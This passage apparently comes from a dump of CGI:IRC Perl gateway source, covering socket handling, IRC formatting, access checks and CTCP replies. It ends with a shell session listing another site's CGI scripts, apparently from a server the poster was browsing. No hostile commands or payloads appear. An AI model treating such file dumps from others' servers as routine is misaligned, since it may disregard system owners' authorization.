) =~ s/^.*?(\d\S+) .*?(\d{4}\/\S+) .*$/$1/;
$VERSION .= " ($2)";
$VERSION =~ s/_/./g;
use Socket;
use Symbol; # gensym
$|++;
# Check for IPV6. Bit yucky but avoids errors when module isn't present
BEGIN {
eval('use Socket6; $::IPV6++ if defined $Socket6::VERSION');
unless(defined $::IPV6) {
$::IPV6 = 0;
eval('sub AF_INET6 {0};sub NI_NUMERICHOST {0};sub NI_NUMERICSERV {}');
}
}
# My own Modules
use Timer;
use Event;
use IRC;
use Command;
require 'parse.pl';
my $needtodie = 0;
$SIG{HUP} = $SIG{INT} = $SIG{TERM} = sub { $needtodie = 1 };
# Pipe isn't bad..
$SIG{PIPE} = 'IGNORE';
$SIG{__DIE__} = sub {
error("Program ending: @_");
};
# DEBUG
#use Carp;
#$SIG{__DIE__} = \&confess;
#### Network Functions
## Returns the address of a host (handles both IPv4 and IPv6)
## Return value: (ipv4,ipv6)
sub net_hostlookup {
my($host) = @_;
if($::IPV6) {
my($family,$socktype, $proto, $saddr, $canonname, @res) =
getaddrinfo($host, undef, AF_UNSPEC, SOCK_STREAM);
return undef unless $family;
my($addr, $port) = getnameinfo($saddr, NI_NUMERICHOST | NI_NUMERICSERV);
=pod
my $ip = config_set('prefer_v6')
? ($ipv6 ? $ipv6 : $ipv4)
: ($ipv4 ? $ipv4 : $ipv6);
=cut
return $addr;
}else{ # IPv4
my $ip = (gethostbyname($host))[4];
return $ip ? inet_ntoa($ip) : undef;
}
}
## Connects a tcp socket and returns the file handle
## inet_addr should be the output of net_gethostbyname
sub net_tcpconnect {
my($inet_addr, $port) = @_;
my $fh = Symbol::gensym;
my $family = ($inet_addr !~ /:/ ? AF_INET : AF_INET6);
socket($fh, $family, SOCK_STREAM,
getprotobyname('tcp')) or return(0, $!);
setsockopt($fh, SOL_SOCKET, SO_KEEPALIVE, pack("l", 1)) or return(0, $!);
my $saddr;
if($inet_addr !~ /:/) {
$saddr = sockaddr_in($port, inet_aton($inet_addr));
if(config_set('vhost')) {
(my $vhost) = $config->{vhost} =~ /([^ ]+)/;
bind($fh, pack_sockaddr_in(0, inet_aton($vhost)));
}else{
bind($fh, pack_sockaddr_in(0, inet_aton('0.0.0.0')));
}
}else{
$saddr = sockaddr_in6($port, inet_pton(AF_INET6, $inet_addr));
if(config_set('vhost6')) {
# this needs testing...
(my $vhost) = $config->{vhost6} =~ /([^ ]+)/;
bind($fh, pack_sockaddr_in6(0, inet_pton(AF_INET6, $vhost)));
}
}
if($family == AF_INET) {
my($localport,$localip) = sockaddr_in(getsockname $fh);
irc_write_server(inet_ntoa($localip), $localport, $inet_addr, $port);
}else{
my($localport,$localip) = sockaddr_in6(getsockname $fh);
irc_write_server(inet_pton(AF_INET6, $localip), $localport, $inet_addr, $port);
}
$SIG{ALRM} = sub { die "xtimeout" };
eval {
local $SIG{__DIE__} = undef;
alarm 60;
connect($fh, $saddr) or die "$!\n";
};
alarm 0;
if($@ =~ /xtimeout/) {
return(0, "Connection timed out (60 seconds)");
}elsif($@) {
chomp(my $error = $@);
return(0, "$error connecting to $inet_addr:$port");
}
net_autoflush($fh);
return($fh);
}
## Opens a UNIX Domain Listening socket
## Passed just the filename, returns 1 on success, 0 on failure
sub net_unixconnect {
my($local) = @_;
my $fh = Symbol::gensym;
if(-e $local) {
return 0 unless unlink $local;
}
socket($fh, PF_UNIX, SOCK_STREAM, 0) or return (0, $!);
bind($fh, sockaddr_un($local)) or return (0, $!);
listen($fh, SOMAXCONN) or return (0, $!);
net_autoflush($fh);
return $fh;
}
sub net_autoflush {
my $fh = shift;
select $fh;
$| = 1;
select STDOUT;
}
## Send data to specific filehandle
sub net_send {
my($fh,$data) = @_;
syswrite($fh, $data, length $data);
}
#### Select Helper Functions
## Code adapted from IO::Select.pm by Graham Barr
## Adds file handle into @handles and fileno into the bit vector
sub select_add {
my($fh) = @_;
my $fileno = select_fileno($fh);
$handles[$fileno] = $fh;
select_makebits();
}
## Deletes the filehandle and fileno
sub select_del {
my($fh) = @_;
my $fileno = select_fileno($fh);
if(!$fileno) {
for(0 .. $#handles) {
$fileno = $_, last if $handles[$_] == $fh;
}
}
return unless defined $handles[$fileno];
$handles[$fileno] = undef;
select_makebits();
}
## Returns a fileno
sub select_fileno {
fileno(shift);
}
sub select_makebits {
$select_bits = '';
for(2 .. $#handles) {
next unless defined $handles[$_] && ref $handles[$_];
vec($select_bits, select_fileno($handles[$_]), 1) = 1;
}
}
## Returns list of handles with input waiting
sub select_canread {
my($timeout) = @_;
my $read = $select_bits;
if(select($read, undef, undef, $timeout) > 0) {
my @out;
for(0 .. $#handles) {
push(@out, $handles[$_]) if vec($read, $_, 1);
}
return @out;
}
return ();
}
## Closes and deletes a filehandle
sub select_close {
my($fh) = @_;
return irc_close() if $ircfh == $fh;
select_del($fh);
close($fh);
}
#### Format Functions
## Loads the format given to it, or the default
sub load_format {
my $formatname = $config->{format};
if($cgi->{format} && $cgi->{format} !~ /[^A-Za-z0-9]/) {
$formatname = $cgi->{format};
}
return parse_config('formats/' . $formatname);
}
## Prints a nicely formatted line
## the format is the format name to use, taken from the %format hash
## the params are passed to the format
sub format_out {
my($formatname, $info, $params) = @_;
return unless exists $format->{$formatname};
return unless $format->{$formatname};
my $line = format_parse($format->{$formatname}, $info, $params);
$line = format_colourhtml($line);
interface_lineout($info, $line);
}
sub message {
my($formatname, @params) = @_;
my $info = { target => 'Status', activity => 1, type => $formatname };
format_out($formatname, $info, \@params);
}
## Formats IRC Colours and Styles into HTML and makes URLs clickable
sub format_colourhtml {
my($line) = @_;
# Used as a token for replaces
my $tok = "\004";
$line =~ s/$tok//g;
$line =~ s/\&/$tok\&$tok/g;
$line =~ s/</$tok\<$tok/g;
$line =~ s/>/$tok\>$tok/g;
$line =~ s/"/$tok\"$tok/g;
$line =~ s{((https?|ftp):\/\/[^$ ]+)(?![^<]*>)}{$interface->link(format_remove($1), format_linkshorten($1))}gie;
$line =~ s{(?:^|\s)(www\..*?)([\.,]?($|\s)|\)|\002)(?![^<]*>)}{$interface->link(format_remove("http://$1"), $1) . $2}gie;
if(exists $ioptions->{smilies} && $ioptions->{smilies}) {
$line =~ s{(?<![^\.a-zA-Z_ ])$regexpicon(?![^<]*>)}{
my($sm, $tmp) = ($1, $1);
for(keys %regexpicon) {
next unless $sm =~ /^$_$/;
$tmp = $interface->smilie("$config->{image_path}/$regexpicon{$_}.gif", $regexpicon{$_}, $sm);
last;
}
$tmp
}ge;
}
$line =~ s/$tok//g;
$line =~ s/( {2,})/' ' x (length $1)/eg;
return format_remove($line) if $config->{removecolour};
if($line =~ /[\002\003\017\022\037]/) {
$line=~ s/\003(\d{1,2})(\,(\d{1,2})|)([^\003\017]*|.*?$)/
my $me = "<font ";
my $fg = sprintf("%0.2d",$1);
my $bg = length $3 ? sprintf("%0.2d",$3) : '';
if(length $bg) {
$me .= "style=\"background: ".$format->{$bg}."\" "
}
$me .= "color=\"$format->{$fg}\">$4<\/font>";
$me
/eg;
$line =~ s/\002(.*?)(\002|\017|$)/<b>$1<\/b>/g;
$line =~ s/\022(.*?)(\022|\017|$)/<u>$1<\/u>/g;
$line =~ s/\037(.*?)(\037|\017|$)/<u>$1<\/u>/g;
}
return format_remove($line);
}
sub format_init_smilies {
%regexpicon = (
'\;-?\)' => 'wink',
'\;-?D' => 'grin',
':\'\(?' => 'cry',
':-?/(?!\S)' => 'notsure',
':-?[xX]' => 'confused',
':-?\[' => 'embarassed',
':-?\*' => 'love',
':-?[pP]' => 'tongue',
':-?\)' => 'happy',
'\:-?D' => 'cheesy',
':-?\(' => 'unhappy',
':-[oO]' => 'surprised',
'8-?\)' => 'cool',
':-?\|' => 'flat',
':\'\)' => 'happycry',
"\004\>\004:-?/" => 'hmmm',
"\004\>\004:-?\\(" => 'angry',
':-?\*\*' => 'kiss',
':-z' => 'sleep',
':-\.' => 'sorry',
'8-@' => 'what',
);
$regexpicon = '(' . join('|', keys %regexpicon) . ')';
}
sub format_linkshorten {
my $link = shift;
if(config_set('linkshorten')) {
return substr($link, 0, $config->{linkshorten})
. (length $link > $config->{linkshorten} ? '...' : '');
}else{
return substr($link, 0, 120)
. (length $link > 120 ? '...' : '');
}
}
## Removes all IRC formating characters
sub format_remove {
my($line) = @_;
$line =~ s/\003(\d{1,2})(\,(\d{1,2})|)//g;
$line =~ s/[\x00-\x1f]//g;
return $line;
}
## Lowlevel code that deals with the format parsing
## No longer supports nested
sub format_parse {
my($line, $info, $params) = @_;
return unless defined $line;
my($match, $name, $param);
$line =~ s{
( # format
\{
([^\}\s]+)
\s?([^\}]+)?
\}
# variables
| (\$[A-Za-z0-9-]+)
| (\%(?:\d{1,2}|n|_|%))
)
}{
($match, $name, $param) = ($1, $2, $3);
if($match =~ /^[\$%]/) {
format_varexpand($match, $info, $params);
}elsif(!exists $format->{$name}) {
error("Invalid format ($name) called: $line");
}else{
format_parse($format->{$name}, $info,
[map {format_varexpand($_, $info, $params)} split / /,
defined $param ? $param : '']);
}
}egx;
return $line;
}
sub format_varexpand {
$_ = shift;
my($info, $params) = @_;
return '' unless defined;
if(s/^\$//) {
if(ref $params && /^(\d+)\-$/) {
return join(' ', @$params[$1 .. @$params - 1]);
}elsif(!/\D/) {
return $params->[$_] if ref $params && defined $params->[$_];
return '';
}elsif(/^VERSION$/) {
return $VERSION;
}elsif(/^T$/ && exists $info->{target}) {
return $info->{target};
}elsif(/^N$/) {
return $irc->{nick}
}elsif(/^S$/) {
return $irc->{server};
}
}elsif(s/^%//) {
if(/^_$/) {
return "\002";
}elsif(/^n$/) {
return "\003$format->{fg},$format->{bg}";
}elsif(/^%$/) {
return "%";
}elsif(/^\d+$/) {
return "\003$_";
}
return "\%$_";
}
return $_;
}
#### Interface Functions
## Loads the default interface.
sub load_interface {
my $name = defined $cgi->{interface} ? $cgi->{interface} : 'default';
($name) = $name =~ /([a-z0-9]+)/i;
require("./interfaces/$name.pm");
$ioptions = parse_interface_cookie();
for(keys %$config) {
next unless s/^interface //;
next if exists $ioptions->{$_};
$ioptions->{$_} = $config->{"interface $_"};
}
$interface = $name->new($event,$timer, $config, $ioptions);
my $bg = $format->{$format->{bg}};
my $fg = $format->{$format->{fg}};
$interface->header($config, $cgi, $bg, $fg);
return $interface;
}
sub interface_show {
my($show, $input) = @_;
return '' unless $interface->exists($show);
return $interface->$show($input, $irc, $config);
}
sub interface_keepalive {
$interface->keepalive($irc, $config);
}
sub interface_lineout {
my($type, $target, $html) = @_;
push(@output, $interface->makeline($type, $target, $html));
}
#### Unix Domain Socket Functions
## Opens the listening socket
sub load_socket {
error('Communication socket name is invalid')
if !$cgi->{R} or $cgi->{R} =~ /[^A-Za-z0-9]/;
($cgi->{R}) = $cgi->{R} =~ /([A-Za-z0-9]+)/;
error('Communication socket already exists')
if -e $config->{socket_prefix}.$cgi->{R};
mkdir($config->{socket_prefix}.$cgi->{R}, 0700) or error("Mkdir error: $!");
open(IP, ">$config->{socket_prefix}$cgi->{R}/ip") or error("Open error: $!");
print IP "$ENV{REMOTE_ADDR}\n";
print IP "$ENV{HTTP_X_FORWARDED_FOR}\n" if exists $ENV{HTTP_X_FORWARDED_FOR};
close(IP);
my($socket,$error) =
net_unixconnect($config->{socket_prefix}.$cgi->{R}.'/sock');
error("Error opening socket: $error") unless ref $socket;
select_add($socket);
return $socket;
}
sub unix_in {
my($fh, $line) = @_;
my $input = parse_query($line);
if($cookie && (!defined $input->{COOKIE} || $input->{COOKIE} ne $cookie)) {
net_send($fh, "Content-type: text/html\r\n\r\nInvalid cookie\r\n");
select_close($fh);
return;
}
$pingtime = time;
$intime = $pingtime if $input->{cmd} eq 'say'
&& $input->{say} ne '/noop';
if($input->{cmd}) {
my $now = time;
utime($now, $now, "$config->{socket_prefix}$cgi->{R}/sock");
input_command($input->{cmd}, $input, $fh, $line);
}
net_send($fh, "Content-type: text/html\r\n\r\n");
if(defined $input->{item} && $input->{item} =~ /^\w+$/) {
net_send($fh, interface_show($input->{item}, $input));
}
select_close($fh);
}
sub input_command {
my($command, $params, $fh, $line) = @_;
if($command eq 'say') {
say_command($params->{say}, $params->{target});
}elsif($command eq 'paste') {
$params = parse_query($line, 1);
for(split /\n/, $params->{say}) {
irc_send_message($params->{target}, $_);
}
}elsif($command eq 'quit') {
net_send($fh, "Content-type: text/html\r\n\r\nquit\r\n"); # avoid errors
irc_close("");
}elsif($command eq 'options' && length $params->{name} && length $params->{value}) {
$ioptions->{$params->{name}} = $params->{value};
$interface->setoption($params->{name}, $params->{value});
# write proper cookie code one day.
net_send($fh, "Set-Cookie: cgiirc$params->{name}=$params->{value}; path=/; expires=Sun, 01-Jan-2011 00:00:00 GMT\r\n");
}
}
sub say_command {
my($say, $target) = @_;
return unless length $say;
$say =~ s/(\n|\r|\0|\001)//sg;
$target =~ s/(\n|\r|\0|\001)//sg;
if(!config_set('disable_format_input')) {
$say =~ s/\%C/\003/g;
$say =~ s/\%B/\002/g;
$say =~ s/\%U/\037/g;
}
if($say =~ m!^/!) {
if($say =~ s!^/ /!/!) {
irc_send_message($target, $say);
}else{
(my $command, my $params) = $say =~ m|^/([^ ]+)(?: (.+))?$|;
unless(defined $command && length $command) {
return;
}
$command = Command->expand($command);
unless(access_command($command)) {
message('command denied', $command);
return;
}
my $error = Command->run($event, $irc, $command, $target, defined $params ? $params : '', $config, $interface);
return 1 if $error == 100;
if($error == 2) {
message('command notparams', $error);
}else{
message('command error', $error);
}
return 0;
}
}else{
irc_send_message($target, $say);
}
}
#### Access Checking Functions
sub config_set {
my($option) = @_;
return 1 if defined $config->{$option} && $config->{$option};
0;
}
sub access_ipcheck {
return unless config_set('ip_access_file');
my($ip, $hostname) = @_;
my($ipn) = inet_aton($ip);
my($ipaccess_match) = 0;
my %ips = list_connected_ips();
my $total = 0;
$total += $ips{$_} for keys %ips;
if(config_set("max_users") && $total > $config->{max_users}) {
message('access denied', 'Too many connections (global)');
}
open(IP, "<$config->{ip_access_file}") or return;
while(<IP>) {
chomp;
next if /^(#|\s*$)/;
s/\s+#.*$//g;
my($check, $limit) = split(' ', $_, 2);
# IP address with subnet mask
if ($check =~ /\//) {
my($addr,$mask) = split('/', $check, 2);
$mask = "1" x $mask . "0" x (32-$mask);
$mask = pack ("B32", $mask);
$mask = inet_ntoa($mask & $ipn);
if($addr eq $mask) {
$ipaccess_match = 1;
}
# IP or hostname (we check both)
# XXX: someone could make their hostname resolve to 127.0.0.1.foobar.com
# and it would match eg 127.*.*.*, I don't think it's that serious and
# if it really is a problem 127.0.0.0/8 wouldn't match..
} else {
$check =~ s/\./\\./g;
my $ipcheck = $check;
$ipcheck =~ s/\*/\\d+/g;
$check =~ s/\*/.*/g;
if($ip =~ /^$ipcheck$/) {
$ipaccess_match = 1;
}elsif($hostname =~ /^$check$/) {
$ipaccess_match = 1;
}
}
if($ipaccess_match == 1) {
return unless defined $limit;
if($limit == 0) {
message('access denied', "No connections allowed (your hostname is $hostname and your IP address is $ip)");
irc_close();
}elsif($ips{$ip} >= $limit) {
message('access denied', 'Too many connections');
irc_close();
}
return;
}
}
close(IP);
message('access denied', 'No connections allowed');
irc_close();
}
sub access_dnsbl {
return unless config_set('dnsbl');
my $arpa = join '.', reverse split /\./, shift;
for my $zone(split ' ', $config->{dnsbl}) {
if(defined net_hostlookup("$arpa.$zone")) {
message('access denied', "Found in DNS black list $zone");
irc_close();
}
}
}
sub list_connected_ips {
my %ips = ();
(my $dir, my $prefix) = $config->{socket_prefix} =~ /^(.*\/)([^\/]+)$/;
opendir(TMPDIR, "$dir") or return ();
for(readdir TMPDIR) {
next unless /^\Q$prefix\E/;
next unless -o $dir . $_ && -d $dir . $_;
next unless -f "$dir$_/server";
open(TMP, "<$dir$_/ip") or next;
chomp(my $tmp = <TMP>);
$ips{$tmp}++;
close(TMP);
}
closedir(TMPDIR);
return %ips;
}
sub access_configcheck {
my($type, $check) = @_;
if(config_set("default_$type")) {
my %tmp;
@tmp{split /,\s*/, lc $config->{"default_$type"}} = 1;
return 1 if exists $tmp{lc $check};
}
return 0 unless config_set('allow_non_default') && config_set("access_$type");
return 1 if $check =~ /^$config->{"access_$type"}$/i;
0;
}
sub access_command {
my($command) = @_;
return 1 unless config_set('access_command');
for(split / /, $config->{access_command}) {
if(/^!(.*)/) {
return 0 if $command =~ /^$1/i;
}else{
return 1 if $command =~ /^$_/i;
}
}
return 1;
}
sub encode_ip {
return join('',map(sprintf("%0.2x", $_), split(/\./,shift)));
}
# Resolve host *and* do checks against hosts that are allowed to connect.
# Note: this follows proxies (via X-Forwarded-For header - but only if the
# proxy is listed in the trusted-proxy file).
sub access_check_host {
my $ip = defined $_[0] ? $_[0] : $ENV{REMOTE_ADDR};
access_dnsbl($ip);
my($hostname) = gethostbyaddr(inet_aton($ip), AF_INET);
unless(defined $hostname && $hostname) {
access_ipcheck($ip, $ip);
return($ip, $ip);
}
# Check reverse == forward
my $ip_check = scalar gethostbyname($hostname);
if(inet_aton($ip) ne $ip_check) {
access_ipcheck($ip, $ip);
return($ip, $ip);
}
access_ipcheck($ip, $hostname);
if(exists $ENV{HTTP_X_FORWARDED_FOR}
&& $ENV{HTTP_X_FORWARDED_FOR} =~ /((\d{1,3}\.){3}\d{1,3})$/
&& !defined $_[1]) { # check proxy but only once
my $proxyip = $1;
return($hostname, $ip) if $proxyip =~ /^(192\.168|127|10|172\.(1[6789]|2\d|3[01]))\./;
open(TRUST, "<trusted-proxy") or return($hostname, $ip);
while(<TRUST>) {
chomp;
s/\*/.*/g;
s/\?/./g;
return access_check_host($proxyip, 1) if $hostname =~ /^$_$/i;
}
close TRUST;
}
return($hostname, $ip);
}
sub session_timeout {
return unless defined $intime;
if(config_set('session_timeout') &&
(time - $config->{session_timeout}) > $intime) {
message('session timeout');
irc_close('Session timeout');
}elsif($interface->ping && $pingtime < time - 900) {
irc_close('Ping timeout');
}elsif($interface->ping && $pingtime < time - 600) {
$interface->sendping;
}
}
#### IRC Functions
## Opens the connection to IRC
sub irc_connect {
my($server, $port) = @_;
error("No server specified") unless $server;
message('looking up', $server);
flushoutput(); # this stuff can block - keep the user informed
my $ip = net_hostlookup($server);
unless(defined $ip) {
error("Looking up address: $!");
}
message('connecting', $server, $ip, $port);
flushoutput();
my($fh, $error) = net_tcpconnect($ip, $port);
error("Connecting to IRC: $error") unless ref $fh;
select_add($fh);
return $fh;
}
sub irc_write_server {
my($lip, $lport, $rip, $rport) = @_;
open(S, ">$config->{socket_prefix}$cgi->{R}/server")
or error("Opening server file: $!");
print S "$rip:$rport\n$lip:$lport\n";
close(S);
}
## Sends data to the irc connection
sub irc_out {
my($event,$fh,$data) = @_;
$data = $fh, $fh = $event if !$data;
#message('default', "-> Server: $data");
net_send($fh, $data . "\r\n");
}
sub irc_close {
my $message = shift;
$message = 'EOF' unless defined $message;
$message = (config_set('quit_prefix') ? $config->{quit_prefix} : "CGI:IRC") .
($message ? " ($message)" : '');
flushoutput();
exit unless ref $unixfh;
close($unixfh);
my $t = $config->{socket_prefix} . $cgi->{R};
unlink("$t/sock", "$t/ip", "$t/server", "$t/ident");
exit unless rmdir($t);
exit unless ref $ircfh;
net_send($ircfh, "QUIT :$message\r\n");
format_out('irc close', { target => '-all', activity => 1 });
flushoutput();
$interface->end if ref $interface;
sleep 1;
close($ircfh);
exit;
}
sub irc_connected {
my($event, $self, $server, $nick) = @_;
open(SERVER, ">>$config->{socket_prefix}$cgi->{R}/server")
or error("Writing to server file; $!");
print SERVER "$server\n$nick\n";
close(SERVER);
my $key;
$key = $1 if $cgi->{chan} =~ s/ (.+)$//;
unless(access_configcheck('channel', $cgi->{chan})) {
message('access channel denied', $cgi->{chan});
$cgi->{chan} = (split /,/, $config->{default_channel})[0];
}
$irc->join($cgi->{chan} . (defined $key ? ' ' . $key : ''));
}
sub irc_send_message {
my($target, $text) = @_;
$event->handle('message ' .
(
$irc->is_channel($target) ? 'public'
: 'private' .
($interface->query ? ' window' : '')
) . ' own',
{ target => $target, create => 1 },
$irc->{nick}, $irc->{myhost}, $text);
$irc->msg($target,$text);
}
sub irc_event {
my($event, $name, $info, @params) = @_;
return if $name =~ /^user /;
$info->{type} = $name;
if($name =~ /^raw/) {
#message('default', "Unhandled numeric: $name");
my $params = $params[0];
$info->{activity} = 1;
$info->{target} = defined $params->{params}->[2] ? $params->{params}->[2] : 'Status';
@params = (join(' ', defined $params->{params}->[2]
? @{$params->{params}}[2 .. @{$params->{params}} - 1]
: ''),
defined $params->{text}
? $params->{text}
: '');
}elsif($name =~ /^ctcp/) {
return irc_ctcp($name, $info, @params);
}elsif($name eq 'message public' && $params[2] =~ /^\Q$irc->{nick}\E\W/i) {
$info->{activity} = 3;
$name = 'message public hilight';
}elsif($name eq 'message private' && $interface->query) {
$name = 'message private window';
}
if(exists $format->{$name}) {
format_out($name, $info, \@params);
}else{
format_out('default', $info, \@params);
}
}
sub irc_ctcp {
my($name, $info, $to, $nick, $host, $command, $params) = @_;
if($name eq 'ctcp own msg') {
format_out('ctcp own msg', $info, [$nick, $host, $command, $params]);
}elsif($name =~ /^ctcp msg /) {
if(uc($command) eq 'KILL') {
return unless config_set('admin password');
my $crypt = $config->{'admin password'};
my($password, $reason) = split ' ', $params, 2;
return unless length $password and length $crypt;
if(crypt($password, substr($crypt, 0, 2)) eq $crypt) {
message('kill ok', $nick, $reason);
net_send($ircfh, "QUIT :Killed ($nick ($reason))\r\n");
irc_close();
}else{
message('kill wrong', $nick, $reason);
}
}elsif(uc($command) eq 'ACTION' && $irc->is_channel($info->{target})) {
format_out('action public', $info, [$nick, $host, $params]);
return;
}elsif(uc($command) eq 'ACTION') {
format_out('action private', $info, [$nick, $host, $params]);
return;
}elsif(uc($command) eq 'DCC' && lc $to eq lc $irc->{nick}) {
format_out('not supported', $info, [$nick, $host, $params, "DCC"]);
}else{
format_out('ctcp msg', $info, [$to, $nick, $host, $command, $params]);
}
if($ctcptime > time-4) {
$ctcptime = time;
return;
}
$ctcptime = time;
if(uc($command) eq 'VERSION') {
$irc->ctcpreply($nick, $command,
"CGI:IRC $VERSION - http://cgiirc.sf.net/");
}elsif(uc($command) eq 'PING') {
return if $params =~ /[^0-9 ]/ || length $params > 50;
unless($interface->ctcpping($nick, $params)) {
$irc->ctcpreply($nick, $command, $params);
}
}elsif(uc($command) eq 'USERINFO') {
$irc->ctcpreply($nick, $command,
config_set('extra_userinfo') ?
"IP: $ENV{REMOTE_ADDR} - Proxy: $ENV{HTTP_VIA} - " .
"Forward IP: $ENV{HTTP_X_FORWARDED_FOR} - User Agent: " .
"$ENV{HTTP_USER_AGENT} - Host: $ENV{SERVER_NAME}"
: "$ENV{REMOTE_ADDR} - $ENV{HTTP_USER_AGENT}"
);
}elsif(uc($command) eq 'TIME') {
$irc->ctcpreply($nick, $command,
scalar localtime());
}elsif(uc($command) eq 'DCC' && lc $to eq lc $irc->{nick}) {
my($type, $subtype) = split ' ', $params;
$type .= " $subtype";
$type = substr($type, 0, 20);
$irc->ctcpreply($nick, $command, "REJECT $type Not Supported");
}
}else{
if(uc($command) eq 'PING') {
$params = time - $params . " seconds";
}
format_out('ctcp reply', $info, [$nick, $host, $command, $params]);
}
}
#### prints a very simple header
sub header {
my $charset = shift;
print "HTTP/1.0 200 OK\r\n" if $0 =~ /nph-/;
print join("\r\n",
'Content-type: text/html' . (defined $charset ? "; charset=$charset" :
''),
'Pragma: no-cache',
'Cache-control: must-revalidate, no-cache, no-store',
'Expires: -1',
"\r\n");
}
sub flushoutput {
if(@output) {
$interface->lines(@output);
@output = ( );
}
}
#### Error Reporting
sub error {
my $message = "@_";
header() unless $config;
if(defined $interface && ref $interface) {
flushoutput();
if(ref $format) {
my $format = format_parse($format->{error}, {}, [$message]);
$format = format_colourhtml($format);
$interface->error($format);
}else{
$interface->error("Error: $message");
}
}else{
print "An error occured: $message\n";
}
print STDERR "[" . scalar localtime() . "] CGI:IRC Error: $message (" . join(' ',(caller(1))[3,2]) . ")";
irc_close("Error");
}
#### Init
sub init {
$timer = new Timer;
$event = new Event;
$timer->addforever(interval => 15, code => \&interface_keepalive);
$event->add('irc out', code => \&irc_out);
$event->add('unhandled', code => \&irc_event);
$event->add('server connected', code => \&irc_connected);
$config = parse_config('cgiirc.config');
$config->{socket_prefix} ||= '/tmp/cgiirc-';
($config->{socket_prefix}) = $config->{socket_prefix} =~ /(.*)/;
$config->{encoded_ip} = 2 unless exists $config->{encoded_ip};
$config->{access_command} = '!quote' unless exists $config->{access_command};
$config->{format} ||= 'default';
$timer->addforever(interval => 30, code => \&session_timeout);
$cgi = parse_query($ENV{QUERY_STRING});
format_init_smilies();
$format = load_format($cgi->{format});
$cookie = parse_cookie();
header($format->{charset} ? $format->{charset} : undef);
error('No CGI Input') unless keys %$cgi;
$cgi->{serv} ||= (split /,/, $config->{default_server})[0];
$cgi->{chan} ||= (split /,/, $config->{default_channel})[0];
$cgi->{port} ||= $config->{default_port};
$cgi->{nick} ||= $config->{default_nick};
$cgi->{name} ||= $config->{default_name};
($cgi->{port}) = $cgi->{port} =~ /(\d+)/;
$cgi->{nick} =~ s/\?/int rand 10/eg;
# Only valid nickname characters
$cgi->{nick} =~ s/[^A-Za-z0-9\[\]\{\}^\\\|\_\-\`]//g;
$interface = load_interface();
my($resolved, $resolvedip) = access_check_host($ENV{REMOTE_ADDR});
unless(access_configcheck('server', $cgi->{serv})) {
message('access server denied', $cgi->{serv});
$cgi->{serv} = (split /,/, $config->{default_server})[0];
}
($cgi->{serv}) = $cgi->{serv} =~ /([^ ]+)/; # untaint hack.
if($cgi->{serv} =~ s/:(\d+)$//) {
$cgi->{port} = $1;
}
if(config_set('encoded_ip')) {
$cgi->{name} = '[' .
($config->{encoded_ip} <= 2
? encode_ip($resolvedip)
# The resolved hostname in realname if set to 3.
: $resolved
)
. '] ' . $cgi->{name};
}
if(config_set('realhost_as_password')) {
$cgi->{pass} = "CGIIRC_${resolvedip}_${resolved}";
}
my $preconnect;
if(config_set('webirc_password')) {
$preconnect = "WEBIRC $config->{webirc_password} cgiirc $resolved $resolvedip";
}
$unixfh = load_socket();
if(exists $ENV{REMOTE_USER}) {
open(IDENT, ">$config->{socket_prefix}$cgi->{R}/ident")
or error("Ident file: $!");
print IDENT "$ENV{REMOTE_USER}\n";
close(IDENT);
}
message('cgiirc welcome') if exists $format->{'cgiirc welcome'};
$ircfh = irc_connect($cgi->{serv}, $cgi->{port});
$irc = IRC->new(
event => $event,
timer => $timer,
fh => $ircfh,
nick => $cgi->{nick},
server => $cgi->{serv},
password => defined $cgi->{pass}
? $cgi->{pass}
: (config_set('server_password')
? $config->{server_password}
: ''
),
realname => $cgi->{name},
user => config_set('encoded_ip') && $config->{encoded_ip} > 1
? encode_ip($ENV{REMOTE_ADDR})
: (config_set('default_user')
? $config->{default_user}
: $cgi->{nick}
),
preconnect => $preconnect,
);
# It is usually better to use 'server connected' (this is for the JS
# interface so it knows the script has started ok).
$event->handle("user connected", $irc);
$interface->sendping if $interface->ping;
$intime = $pingtime = time;
}
#### Main loop
sub main_loop {
error("Required objects not loaded")
unless ref $timer
and ref $event
and ref $config;
while(1) {
my @ready = select_canread(2);
for my $fh(@ready) {
if($fh == $unixfh) {
my $newfh = Symbol::gensym;
if(accept($newfh, $fh)) {
net_autoflush($newfh);
select_add($newfh);
}
}else{
my($tmp,$char);
$tmp = sysread( $fh, $char, 4096 );
select_close($fh) unless defined $tmp && length $char;
$inbuffer{$fh} .= $char;
while (my($theline,$therest)=$inbuffer{$fh} =~ /([^\n]*)\n(.*)/s ) {
$inbuffer{$fh} = $therest;
$theline =~ s/\r$//;
if($fh == $ircfh) {
$irc->in($theline);
}else{
unix_in($fh,$theline);
}
}
flushoutput();
}
}
irc_close() if $needtodie;
$timer->run;
}
}
init();
main_loop();
$ cd ../../
$ ls -la
total 260
drwxr-xr-x 6 ssquad ssquad 512 Nov 2 15:00 .
drwxrwx--- 10 nobody ssquad 512 Nov 4 22:48 ..
-rwxr-xr-x 1 ssquad ssquad 5124 Oct 29 16:28 add_articles.cgi
-rwxr-xr-x 1 ssquad ssquad 4897 Sep 28 20:01 add_bug.cgi
-rwxr-xr-x 1 ssquad ssquad 5408 Sep 28 20:01 add_defaces.cgi
-rwxr-xr-x 1 ssquad ssquad 10502 Sep 28 20:01 add_downloads.cgi
-rwxr-xr-x 1 ssquad ssquad 5424 Oct 27 16:41 add_friend.cgi
-rwxr-xr-x 1 ssquad ssquad 6236 Nov 4 09:43 add_news.cgi
-rwxr-xr-x 1 ssquad ssquad 4089 Sep 28 19:56 add_user.cgi
-rwxr-xr-x 1 ssquad ssquad 4274 Oct 10 21:23 add_voiting.cgi
-rwxr-xr-x 1 ssquad ssquad 15144 May 14 23:15 cgiecho
-rwxr-xr-x 1 ssquad ssquad 15144 May 14 23:15 cgiemail
-rwxr-xr-x 1 ssquad ssquad 2833 Oct 23 20:38 check.cgi
-rwxr-xr-x 1 ssquad ssquad 2171 Oct 22 19:10 contacts.cgi
-rwxr-xr-x 1 ssquad ssquad 2764 May 14 23:15 entropybanner.cgi
-rwxr-xr-x 1 ssquad ssquad 11539 Oct 29 16:29 index.cgi
drwxr-xr-x 6 ssquad ssquad 512 Oct 26 21:19 irc
-rwxr-xr-x 1 ssquad ssquad 2760 May 14 23:15 randhtml.cgi
drwxr-xr-x 2 ssquad ssquad 512 Sep 28 19:40 templates
drwxr-xr-x 2 ssquad ssquad 512 Sep 28 19:41 tools
drwxr-xr-x 2 ssquad ssquad 512 Oct 10 21:23 voiting
-rwxr-xr-x 1 ssquad ssquad 2090 Oct 17 20:32 voiting.cgi
$ ls -l tools/
total 52
-rwxr-xr-x 1 ssquad ssquad 3960 Sep 17 15:46 index.cgi
